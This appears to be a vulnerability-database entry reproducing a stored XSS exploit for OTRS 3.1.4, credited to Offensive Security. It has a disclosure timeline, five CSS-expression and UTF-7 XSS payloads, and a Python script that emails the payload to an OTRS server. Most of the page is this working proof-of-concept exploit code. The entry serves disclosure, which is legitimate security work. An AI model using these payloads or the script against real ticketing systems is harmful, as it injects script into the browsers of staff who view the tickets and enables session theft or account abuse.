otrs open technology real services 3.1.4 - Stored XSS

🗓️ 01 Jul 2014 00:00:00Reported by RootType

OTRS Open Technology Real Services 3.1.4 - Stored XSS vulnerability in Windows Server 2003 SP2 and Internet Explorer


                                                #!/usr/bin/python

&#39;&#39;&#39;

Author: loneferret of Offensive Security
Product: OTRS Open Technology Real Services
Version: 3.1.4 (Windows)
Vendor Site: http://www.otrs.com/en/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response other than auto-reply from vendor
08 Aug 2012: Public Disclosure
22 Aug 2012: Update from CERT: vulnerability patched
     http://www.kb.cert.org/vuls/id/582879
     http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-01/

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point: Body
Injection Payload(s):
1: &#60;DIV STYLE=&#34;width: expression(alert(&#39;XSS&#39;));&#34;&#62;
2: exp/*&#60;XSS STYLE=&#39;no\xss:noxss(&#34;*//*&#34;);
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert(&#34;XSS&#34;))&#39;&#62;
3: &#60;IMG STYLE=&#34;xss:expr/*XSS*/ession(alert(&#39;XSS&#39;))&#34;&#62;
4: &#60;XSS STYLE=&#34;xss:expression(alert(&#39;XSS&#39;))&#34;&#62;
5: &#60;HEAD&#62;&#60;META HTTP-EQUIV=&#34;CONTENT-TYPE&#34; CONTENT=&#34;text/html; charset=UTF-7&#34;&#62; &#60;/HEAD&#62;+ADw-SCRIPT+AD4-alert(&#39;XSS&#39;);+ADw-/SCRIPT+AD4-

&#39;&#39;&#39;

import smtplib, urllib2
 
payload = &#34;&#34;&#34;&#60;DIV STYLE=&#34;width: expression(alert(&#39;XSS&#39;));&#34;&#62;&#34;&#34;&#34;
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = &#34;From: [email protected]\n&#34;
        msg += &#34;To: [email protected]\n&#34;
        msg += &#39;Date: Today\r\n&#39;
        msg += &#34;Subject: Offensive Security\n&#34;
        msg += &#34;Content-type: text/html\n\n&#34;
        msg += &#34;XSS&#34; + payload + &#34;\r\n\r\n&#34;
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print &#34;[-] Failed to send email:&#34;
                print &#34;[*] &#34; + str(e)
        server.quit()
 
username = &#34;[email protected]&#34;
password = &#34;123456&#34;
dstemail = &#34;[email protected]&#34;
frmemail = &#34;[email protected]&#34;
smtpsrv  = &#34;172.16.84.171&#34;
 
print &#34;[*] Sending Email&#34;
sendMail(dstemail, frmemail, smtpsrv, username, password)

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1